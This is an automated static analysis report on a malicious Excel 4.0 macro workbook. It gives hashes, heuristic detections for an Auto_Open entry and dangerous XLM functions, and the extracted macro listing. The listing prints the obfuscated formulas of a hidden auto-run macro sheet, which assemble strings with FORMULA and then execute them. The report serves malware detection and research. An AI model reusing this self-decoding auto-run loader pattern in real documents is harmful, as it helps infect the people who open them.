Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a9e2721eaaf3674…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:45 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 2650dbb72e4eaf9c63138051601fb87c SHA-1: c6d4a98da15f70d4b661a8764800e9db0002b835 SHA-256: 1a9e2721eaaf367440ba12e14fb981fec5338305e9dc3c4429b017f0fc5a319b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6602 bytes
SHA-256: bcb48ec6b0bd684e67060b10d7051fe29e7b28a3c90a4fce00c3f6de7d59f345
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yFgtDmPc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F185 
' 0018     20 LABEL : Cell Value, String Constant - BlRFm len=0 
' 0018     25 LABEL : Cell Value, String Constant - bLvRgJpiNC len=0 
' 0018     22 LABEL : Cell Value, String Constant - bNNTeQC len=0 
' 0018     20 LABEL : Cell Value, String Constant - dcgfS len=0 
' 0018     21 LABEL : Cell Value, String Constant - DGgHZX len=0 
' 0018     26 LABEL : Cell Value, String Constant - DSdCQHisGSP len=0 
' 0018     24 LABEL : Cell Value, String Constant - EewbQuWZQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - gewAwEdnWllL len=0 
' 0018     25 LABEL : Cell Value, String Constant - gJFBqQLEHM len=0 
' 0018     23 LABEL : Cell Value, String Constant - LhBEvqUk len=0 
' 0018     23 LABEL : Cell Value, String Constant - LynDDkSk len=0 
' 0018     20 LABEL : Cell Value, String Constant - NuIjS len=0 
' 0018     20 LABEL : Cell Value, String Constant - OzANl len=0 
' 0018     27 LABEL : Cell Value, String Constant - pHjKiUXengcl len=0 
' 0018     26 LABEL : Cell Value, String Constant - pLweSIWNKDI len=0 
' 0018     21 LABEL : Cell Value, String Constant - QhufTK len=0 
' 0018     26 LABEL : Cell Value, String Constant - QoxcRqCEVRU len=0 
' 0018     23 LABEL : Cell Value, String Constant - tpuKlnYk len=0 
' 0018     26 LABEL : Cell Value, String Constant - UknwCadQRjB len=0 
' 0018     24 LABEL : Cell Value, String Constant - UvcsAMwJe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yFgtDmPc,F89,"SET.NAME("dcgfS",VALUE("0"))",""
'  yFgtDmPc,F92,"SET.NAME("LynDDkSk",dcgfS)",""
'  yFgtDmPc,F97,"SET.NAME("gJFBqQLEHM",dcgfS)",""
'  yFgtDmPc,F101,"SET.NAME("LhBEvqUk",COUNTA(DSdCQHisGSP))",""
'  yFgtDmPc,F106,"SET.NAME("bLvRgJpiNC",COUNTA(tpuKlnYk))",""
'  yFgtDmPc,F109,[],""
'  yFgtDmPc,F111,"SET.NAME("EewbQuWZQ","")",""
'  yFgtDmPc,F115,"LynDDkSk",""
'  yFgtDmPc,F120,"SET.NAME("NuIjS",HLOOKUP("*",DSdCQHisGSP,LynDDkSk,FALSE))",""
'  yFgtDmPc,F122,"bNNTeQC",""
'  yFgtDmPc,F127,"SET.NAME("UknwCadQRjB",dcgfS)",""
'  yFgtDmPc,F132,[],""
'  yFgtDmPc,F136,"UknwCadQRjB",""
'  yFgtDmPc,F140,"QhufTK",""
'  yFgtDmPc,F144,"UvcsAMwJe",""
'  yFgtDmPc,F147,"BlRFm",""
'  yFgtDmPc,F151,"SET.NAME("OzANl",VALUE(HLOOKUP("*",tpuKlnYk,BlRFm,FALSE)))",""
'  yFgtDmPc,F153,"gewAwEdnWllL",""
'  yFgtDmPc,F157,"EewbQuWZQ",""
'  yFgtDmPc,F159,"gJFBqQLEHM",""
'  yFgtDmPc,F164,NEXT(),""
'  yFgtDmPc,F169,"pHjKiUXengcl",""
'  yFgtDmPc,F172,"SET.NAME("f",INT(T(FORMULA(T(EewbQuWZQ)&"",""&T(pHjKiUXengcl)))))",""
'  yFgtDmPc,F176,"DGgHZX",""
'  yFgtDmPc,F179,NEXT(),""
'  yFgtDmPc,F181,RETURN(),""
'  yFgtDmPc,F208,"SET.NAME("QoxcRqCEVRU",F89)",""
'  yFgtDmPc,F210,"DSdCQHisGSP",""
'  yFgtDmPc,F212,"SET.NAME("tpuKlnYk",R66C11)",""
'  yFgtDmPc,F216,"SET.NAME("DGgHZX",225)",""
'  yFgtDmPc,F220,"SET.NAME("pLweSIWNKDI",6)",""
'  yFgtDmPc,F224,QoxcRqCEVRU(),""
'  yFgtDmPc,F225,HALT(),""

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